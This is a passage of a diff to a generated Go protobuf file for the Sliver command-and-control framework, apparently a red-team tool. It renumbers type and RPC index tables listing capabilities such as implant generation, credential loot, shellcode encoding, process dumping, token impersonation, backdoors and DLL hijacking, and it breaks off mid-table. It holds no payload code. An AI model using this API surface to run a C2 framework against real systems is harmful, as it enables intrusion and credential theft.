(*sliverpb.WGSocks)(nil), // 217: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 218: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 219: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 220: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 221: sliverpb.Portfwd + (*clientpb.ImplantCommand)(nil), // 5: clientpb.ImplantCommand + (*clientpb.HistoryRequest)(nil), // 6: clientpb.HistoryRequest + (*clientpb.MonitoringProvider)(nil), // 7: clientpb.MonitoringProvider + (*clientpb.MTLSListenerReq)(nil), // 8: clientpb.MTLSListenerReq + (*clientpb.WGListenerReq)(nil), // 9: clientpb.WGListenerReq + (*clientpb.DNSListenerReq)(nil), // 10: clientpb.DNSListenerReq + (*clientpb.HTTPListenerReq)(nil), // 11: clientpb.HTTPListenerReq + (*clientpb.Beacon)(nil), // 12: clientpb.Beacon + (*clientpb.BeaconTask)(nil), // 13: clientpb.BeaconTask + (*clientpb.KillJobReq)(nil), // 14: clientpb.KillJobReq + (*clientpb.RestartJobReq)(nil), // 15: clientpb.RestartJobReq + (*clientpb.StagerListenerReq)(nil), // 16: clientpb.StagerListenerReq + (*clientpb.Loot)(nil), // 17: clientpb.Loot + (*clientpb.Credentials)(nil), // 18: clientpb.Credentials + (*clientpb.Credential)(nil), // 19: clientpb.Credential + (*clientpb.Host)(nil), // 20: clientpb.Host + (*clientpb.IOC)(nil), // 21: clientpb.IOC + (*clientpb.GenerateReq)(nil), // 22: clientpb.GenerateReq + (*clientpb.ExternalGenerateReq)(nil), // 23: clientpb.ExternalGenerateReq + (*clientpb.ExternalImplantBinary)(nil), // 24: clientpb.ExternalImplantBinary + (*clientpb.ImplantBuild)(nil), // 25: clientpb.ImplantBuild + (*clientpb.GenerateStageReq)(nil), // 26: clientpb.GenerateStageReq + (*clientpb.ImplantStageReq)(nil), // 27: clientpb.ImplantStageReq + (*clientpb.C2ProfileReq)(nil), // 28: clientpb.C2ProfileReq + (*clientpb.HTTPC2ConfigReq)(nil), // 29: clientpb.HTTPC2ConfigReq + (*clientpb.Builder)(nil), // 30: clientpb.Builder + (*clientpb.Event)(nil), // 31: clientpb.Event + (*clientpb.Crackstation)(nil), // 32: clientpb.Crackstation + (*clientpb.CrackBenchmark)(nil), // 33: clientpb.CrackBenchmark + (*clientpb.CrackTask)(nil), // 34: clientpb.CrackTask + (*clientpb.CrackFile)(nil), // 35: clientpb.CrackFile + (*clientpb.CrackFileChunk)(nil), // 36: clientpb.CrackFileChunk + (*clientpb.RegenerateReq)(nil), // 37: clientpb.RegenerateReq + (*clientpb.DeleteReq)(nil), // 38: clientpb.DeleteReq + (*clientpb.ImplantProfile)(nil), // 39: clientpb.ImplantProfile + (*clientpb.MsfStagerReq)(nil), // 40: clientpb.MsfStagerReq + (*clientpb.ShellcodeRDIReq)(nil), // 41: clientpb.ShellcodeRDIReq + (*clientpb.ShellcodeEncodeReq)(nil), // 42: clientpb.ShellcodeEncodeReq + (*clientpb.TrafficEncoder)(nil), // 43: clientpb.TrafficEncoder + (*clientpb.Website)(nil), // 44: clientpb.Website + (*clientpb.WebsiteAddContent)(nil), // 45: clientpb.WebsiteAddContent + (*clientpb.WebsiteRemoveContent)(nil), // 46: clientpb.WebsiteRemoveContent + (*sliverpb.Ping)(nil), // 47: sliverpb.Ping + (*sliverpb.PsReq)(nil), // 48: sliverpb.PsReq + (*sliverpb.TerminateReq)(nil), // 49: sliverpb.TerminateReq + (*sliverpb.IfconfigReq)(nil), // 50: sliverpb.IfconfigReq + (*sliverpb.NetstatReq)(nil), // 51: sliverpb.NetstatReq + (*sliverpb.LsReq)(nil), // 52: sliverpb.LsReq + (*sliverpb.CdReq)(nil), // 53: sliverpb.CdReq + (*sliverpb.PwdReq)(nil), // 54: sliverpb.PwdReq + (*sliverpb.MvReq)(nil), // 55: sliverpb.MvReq + (*sliverpb.CpReq)(nil), // 56: sliverpb.CpReq + (*sliverpb.RmReq)(nil), // 57: sliverpb.RmReq + (*sliverpb.MkdirReq)(nil), // 58: sliverpb.MkdirReq + (*sliverpb.DownloadReq)(nil), // 59: sliverpb.DownloadReq + (*sliverpb.UploadReq)(nil), // 60: sliverpb.UploadReq + (*sliverpb.GrepReq)(nil), // 61: sliverpb.GrepReq + (*sliverpb.ChmodReq)(nil), // 62: sliverpb.ChmodReq + (*sliverpb.ChownReq)(nil), // 63: sliverpb.ChownReq + (*sliverpb.ChtimesReq)(nil), // 64: sliverpb.ChtimesReq + (*sliverpb.MemfilesListReq)(nil), // 65: sliverpb.MemfilesListReq + (*sliverpb.MemfilesAddReq)(nil), // 66: sliverpb.MemfilesAddReq + (*sliverpb.MemfilesRmReq)(nil), // 67: sliverpb.MemfilesRmReq + (*sliverpb.ProcessDumpReq)(nil), // 68: sliverpb.ProcessDumpReq + (*sliverpb.RunAsReq)(nil), // 69: sliverpb.RunAsReq + (*sliverpb.ImpersonateReq)(nil), // 70: sliverpb.ImpersonateReq + (*sliverpb.RevToSelfReq)(nil), // 71: sliverpb.RevToSelfReq + (*clientpb.GetSystemReq)(nil), // 72: clientpb.GetSystemReq + (*sliverpb.TaskReq)(nil), // 73: sliverpb.TaskReq + (*clientpb.MSFReq)(nil), // 74: clientpb.MSFReq + (*clientpb.MSFRemoteReq)(nil), // 75: clientpb.MSFRemoteReq + (*sliverpb.ExecuteAssemblyReq)(nil), // 76: sliverpb.ExecuteAssemblyReq + (*clientpb.MigrateReq)(nil), // 77: clientpb.MigrateReq + (*sliverpb.ExecuteReq)(nil), // 78: sliverpb.ExecuteReq + (*sliverpb.ExecuteWindowsReq)(nil), // 79: sliverpb.ExecuteWindowsReq + (*sliverpb.SideloadReq)(nil), // 80: sliverpb.SideloadReq + (*sliverpb.InvokeSpawnDllReq)(nil), // 81: sliverpb.InvokeSpawnDllReq + (*sliverpb.ScreenshotReq)(nil), // 82: sliverpb.ScreenshotReq + (*sliverpb.CurrentTokenOwnerReq)(nil), // 83: sliverpb.CurrentTokenOwnerReq + (*sliverpb.PivotStartListenerReq)(nil), // 84: sliverpb.PivotStartListenerReq + (*sliverpb.PivotStopListenerReq)(nil), // 85: sliverpb.PivotStopListenerReq + (*sliverpb.PivotListenersReq)(nil), // 86: sliverpb.PivotListenersReq + (*sliverpb.StartServiceReq)(nil), // 87: sliverpb.StartServiceReq + (*sliverpb.StopServiceReq)(nil), // 88: sliverpb.StopServiceReq + (*sliverpb.RemoveServiceReq)(nil), // 89: sliverpb.RemoveServiceReq + (*sliverpb.MakeTokenReq)(nil), // 90: sliverpb.MakeTokenReq + (*sliverpb.EnvReq)(nil), // 91: sliverpb.EnvReq + (*sliverpb.SetEnvReq)(nil), // 92: sliverpb.SetEnvReq + (*sliverpb.UnsetEnvReq)(nil), // 93: sliverpb.UnsetEnvReq + (*clientpb.BackdoorReq)(nil), // 94: clientpb.BackdoorReq + (*sliverpb.RegistryReadReq)(nil), // 95: sliverpb.RegistryReadReq + (*sliverpb.RegistryWriteReq)(nil), // 96: sliverpb.RegistryWriteReq + (*sliverpb.RegistryCreateKeyReq)(nil), // 97: sliverpb.RegistryCreateKeyReq + (*sliverpb.RegistryDeleteKeyReq)(nil), // 98: sliverpb.RegistryDeleteKeyReq + (*sliverpb.RegistrySubKeyListReq)(nil), // 99: sliverpb.RegistrySubKeyListReq + (*sliverpb.RegistryListValuesReq)(nil), // 100: sliverpb.RegistryListValuesReq + (*sliverpb.SSHCommandReq)(nil), // 101: sliverpb.SSHCommandReq + (*clientpb.DllHijackReq)(nil), // 102: clientpb.DllHijackReq + (*sliverpb.GetPrivsReq)(nil), // 103: sliverpb.GetPrivsReq + (*sliverpb.RportFwdStartListenerReq)(nil), // 104: sliverpb.RportFwdStartListenerReq + (*sliverpb.RportFwdListenersReq)(nil), // 105: sliverpb.RportFwdListenersReq + (*sliverpb.RportFwdStopListenerReq)(nil), // 106: sliverpb.RportFwdStopListenerReq + (*sliverpb.OpenSession)(nil), // 107: sliverpb.OpenSession + (*sliverpb.CloseSession)(nil), // 108: sliverpb.CloseSession + (*sliverpb.RegisterExtensionReq)(nil), // 109: sliverpb.RegisterExtensionReq + (*sliverpb.CallExtensionReq)(nil), // 110: sliverpb.CallExtensionReq + (*sliverpb.ListExtensionsReq)(nil), // 111: sliverpb.ListExtensionsReq + (*sliverpb.RegisterWasmExtensionReq)(nil), // 112: sliverpb.RegisterWasmExtensionReq + (*sliverpb.ListWasmExtensionsReq)(nil), // 113: sliverpb.ListWasmExtensionsReq + (*sliverpb.ExecWasmExtensionReq)(nil), // 114: sliverpb.ExecWasmExtensionReq + (*sliverpb.WGPortForwardStartReq)(nil), // 115: sliverpb.WGPortForwardStartReq + (*sliverpb.WGPortForwardStopReq)(nil), // 116: sliverpb.WGPortForwardStopReq + (*sliverpb.WGSocksStartReq)(nil), // 117: sliverpb.WGSocksStartReq + (*sliverpb.WGSocksStopReq)(nil), // 118: sliverpb.WGSocksStopReq + (*sliverpb.WGTCPForwardersReq)(nil), // 119: sliverpb.WGTCPForwardersReq + (*sliverpb.WGSocksServersReq)(nil), // 120: sliverpb.WGSocksServersReq + (*sliverpb.ShellReq)(nil), // 121: sliverpb.ShellReq + (*sliverpb.PortfwdReq)(nil), // 122: sliverpb.PortfwdReq + (*sliverpb.Socks)(nil), // 123: sliverpb.Socks + (*sliverpb.SocksData)(nil), // 124: sliverpb.SocksData + (*sliverpb.Tunnel)(nil), // 125: sliverpb.Tunnel + (*sliverpb.TunnelData)(nil), // 126: sliverpb.TunnelData + (*clientpb.Version)(nil), // 127: clientpb.Version + (*clientpb.Users)(nil), // 128: clientpb.Users + (*sliverpb.Reconfigure)(nil), // 129: sliverpb.Reconfigure + (*clientpb.History)(nil), // 130: clientpb.History + (*clientpb.Sessions)(nil), // 131: clientpb.Sessions + (*commonpb.Response)(nil), // 132: commonpb.Response + (*clientpb.MonitoringProviders)(nil), // 133: clientpb.MonitoringProviders + (*clientpb.ListenerJob)(nil), // 134: clientpb.ListenerJob + (*clientpb.Beacons)(nil), // 135: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 136: clientpb.BeaconTasks + (*clientpb.Jobs)(nil), // 137: clientpb.Jobs + (*clientpb.KillJob)(nil), // 138: clientpb.KillJob + (*clientpb.StagerListener)(nil), // 139: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 140: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 141: clientpb.AllHosts + (*clientpb.Generate)(nil), // 142: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 143: clientpb.ExternalImplantConfig + (*clientpb.HTTPC2Configs)(nil), // 144: clientpb.HTTPC2Configs + (*clientpb.HTTPC2Config)(nil), // 145: clientpb.HTTPC2Config + (*clientpb.Builders)(nil), // 146: clientpb.Builders + (*clientpb.Crackstations)(nil), // 147: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 148: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 149: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 150: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 151: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 152: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 153: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 154: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 155: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 156: clientpb.Compiler + (*clientpb.MetasploitCompiler)(nil), // 157: clientpb.MetasploitCompiler + (*clientpb.ShellcodeEncode)(nil), // 158: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 159: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 160: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 161: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 162: clientpb.Websites + (*sliverpb.Ps)(nil), // 163: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 164: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 165: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 166: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 167: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 168: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 169: sliverpb.Mv + (*sliverpb.Cp)(nil), // 170: sliverpb.Cp + (*sliverpb.Rm)(nil), // 171: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 172: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 173: sliverpb.Download + (*sliverpb.Upload)(nil), // 174: sliverpb.Upload + (*sliverpb.Grep)(nil), // 175: sliverpb.Grep + (*sliverpb.Chmod)(nil), // 176: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 177: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 178: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 179: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 180: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 181: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 182: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 183: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 184: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 185: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 186: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 187: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 188: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 189: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 190: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 191: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 192: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 193: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 194: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 195: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 196: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 197: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 198: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 199: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 200: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 201: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 202: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 203: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 204: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 205: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 206: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 207: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 208: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 209: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 210: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 211: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 212: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 213: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 214: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 215: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 216: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 217: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 218: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 219: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 220: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 221: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 222: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 223: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 224: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 225: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty - 1, // 1: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData - 0, // 2: rpcpb.SliverRPC.GetOperators:input_type -> commonpb.Empty + 0, // 1: rpcpb.SliverRPC.GetUsers:input_type -> commonpb.Empty + 1, // 2: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData 2, // 3: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq 3, // 4: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq 4, // 5: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq - 0, // 6: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty - 0, // 7: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty - 0, // 8: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty - 0, // 9: rpcpb.SliverRPC.MonitorListConfig:input_type -> commonpb.Empty - 5, // 10: rpcpb.SliverRPC.MonitorAddConfig:input_type -> clientpb.MonitoringProvider - 5, // 11: rpcpb.SliverRPC.MonitorDelConfig:input_type -> clientpb.MonitoringProvider - 6, // 12: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq - 7, // 13: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq - 8, // 14: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq - 9, // 15: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq - 9, // 16: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq - 0, // 17: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty - 10, // 18: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon - 10, // 19: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon - 10, // 20: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon - 11, // 21: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask - 11, // 22: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask - 0, // 23: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty - 12, // 24: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq - 13, // 25: rpcpb.SliverRPC.RestartJobs:input_type -> clientpb.RestartJobReq - 14, // 26: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq - 15, // 27: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot - 15, // 28: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot - 15, // 29: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot - 15, // 30: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot - 0, // 31: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty - 0, // 32: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty - 16, // 33: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials - 16, // 34: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials - 16, // 35: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials - 17, // 36: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential - 17, // 37: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential - 17, // 38: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential - 17, // 39: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential - 0, // 40: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty - 18, // 41: rpcpb.SliverRPC.Host:input_type -> clientpb.Host - 18, // 42: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host - 19, // 43: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC - 20, // 44: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq - 21, // 45: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq - 22, // 46: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary - 23, // 47: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:input_type -> clientpb.ImplantBuild - 24, // 48: rpcpb.SliverRPC.GenerateStage:input_type -> clientpb.GenerateStageReq - 25, // 49: rpcpb.SliverRPC.StageImplantBuild:input_type -> clientpb.ImplantStageReq - 0, // 50: rpcpb.SliverRPC.GetHTTPC2Profiles:input_type -> commonpb.Empty - 26, // 51: rpcpb.SliverRPC.GetHTTPC2ProfileByName:input_type -> clientpb.C2ProfileReq - 27, // 52: rpcpb.SliverRPC.SaveHTTPC2Profile:input_type -> clientpb.HTTPC2ConfigReq - 28, // 53: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder - 29, // 54: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event - 0, // 55: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty - 30, // 56: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation - 29, // 57: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event - 31, // 58: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark - 0, // 59: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty - 32, // 60: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask - 32, // 61: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask - 33, // 62: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile - 33, // 63: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile - 34, // 64: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk - 34, // 65: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk - 33, // 66: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile - 33, // 67: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile - 35, // 68: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq - 0, // 69: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty - 36, // 70: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq - 0, // 71: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty - 0, // 72: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty - 0, // 73: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty - 0, // 74: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty - 36, // 75: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq - 37, // 76: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile - 38, // 77: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq - 39, // 78: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq - 0, // 79: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 40, // 80: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 81: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 82: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 41, // 83: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 41, // 84: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 85: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 42, // 86: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 42, // 87: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 43, // 88: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 43, // 89: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 44, // 90: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 45, // 91: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 46, // 92: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 47, // 93: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 48, // 94: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 49, // 95: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 50, // 96: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 51, // 97: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 52, // 98: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 53, // 99: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 54, // 100: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 55, // 101: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 56, // 102: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 57, // 103: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 58, // 104: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 59, // 105: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq - 60, // 106: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 61, // 107: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 62, // 108: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 63, // 109: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 64, // 110: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 65, // 111: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 66, // 112: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 67, // 113: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 68, // 114: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 69, // 115: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 70, // 116: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 71, // 117: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 72, // 118: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 73, // 119: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 74, // 120: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 75, // 121: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 76, // 122: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq - 77, // 123: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 78, // 124: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 79, // 125: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 80, // 126: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 81, // 127: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 82, // 128: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 83, // 129: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 84, // 130: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 131: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 85, // 132: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 86, // 133: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 87, // 134: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 88, // 135: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 89, // 136: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 90, // 137: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 91, // 138: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 92, // 139: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 93, // 140: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 94, // 141: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 95, // 142: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 96, // 143: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 97, // 144: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 98, // 145: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 99, // 146: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 100, 